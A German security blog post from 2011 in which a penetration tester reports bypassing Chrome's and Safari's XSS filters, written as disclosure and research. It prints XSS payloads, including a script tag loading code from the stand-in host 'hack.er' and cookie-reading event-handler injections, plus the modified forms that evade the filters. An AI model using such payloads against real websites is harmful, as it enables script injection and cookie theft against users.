XSS-Schutz von Chrome und Safari umgehen
Donnerstag, 26. Mai 2011, 23:57 Uhr | Autor: ich
In dem Report meiner Checks schreibe ich dem Kunden immer dazu mit welchem Browser mein XSS-Exploit auszunutzen ist, damit er es nachvollziehen kann — es gibt nämlich nichts schlimmeres als einen Exploit der beim Programmierer nicht funktioniert, weil er den “falschen” Browser benutzt.
In den letzten Wochen musste ich aus der Liste der anfälligen Browser auch den Chrome entfernen, womit nur noch Firefox und Opera von mir als Testbrowser gemeldet wurden. Der Safari ist schon länger aus meiner Liste rausgeflogen, da ein XSS-Schutz dort seit langer Zeit implementiert ist. Injiziertes HTML kann man auch im Safari und Chrome rendern lassen, JavaScript hingegen nicht.
Ich bin ja eher skeptisch wenn ein Filter das eine blockiert und das anderer durchlässt, weshalb ich selber etwas Browser-Forschung betrieben habe, da der Chrome, im Gegensatz zum Safari, eine weite Verbreitung gefunden hat.
Erst letzte Woche wies ich in einem Kommentar darauf hin, dass auch der Safari einen Schutz gegen Cross-Site Scripting enthält, was auch zur Ergänzung des Artikels führte:
“Facebook: IE9 als einziger gegen XSS Angriffe gerüstet” (blogs.technet.com)
Und nun.. Sorry! Meine Forschung war erfolgreich, bzw. aus Sicht von Google und Apple eher unerfreulich. Nun muss der Artikel schon wieder geändert werden und der Internet Explorer ist noch immer ungeschlagen — was den Schutz gegen Cross-Site Scripting angeht. :O)
Injiziert man
<script src=http://hack.er/s></script>
oder wenn spitze Klammern nicht zulässig sind" onmouseover=alert(document.cookie) "
dann wird dies im Safari und im Chrome nicht ausgeführt.
Werden die Injektionen wie folgt abgeändert, wird der Filter von Safari und Chrome umgangen und der Schadcode wird ausgeführt:
<script src=http://hack.er/s//<</script>" onmouseover=alert(document.cookie)//"
Wieder ein Beispiel für: Blacklisting ist unsicher!
Der Internet Explorer ist wirklich recht sicher was XSS angeht, denn der Filter schmeißt alles raus was injiziert wird. Ob der IE auch mal etwas fälschlich als einen Angriff wertet, kann ich nicht sagen, da es für OS-X keinen Browser von Microsoft gibt und ich Windows nur für bestimmte Tests heranziehe, um zu sehen ob meine Funde auch unter anderen Betriebssystemen funktionieren.
Update: 28.05.2011 – 18:36 Uhr
Eine Leerzeile im Quellcode kann darüber entscheiden ob sich eine XSS-Lücke auftut oder nicht.
Thema: Sicherheit, XSS | Kommentare geschlossen



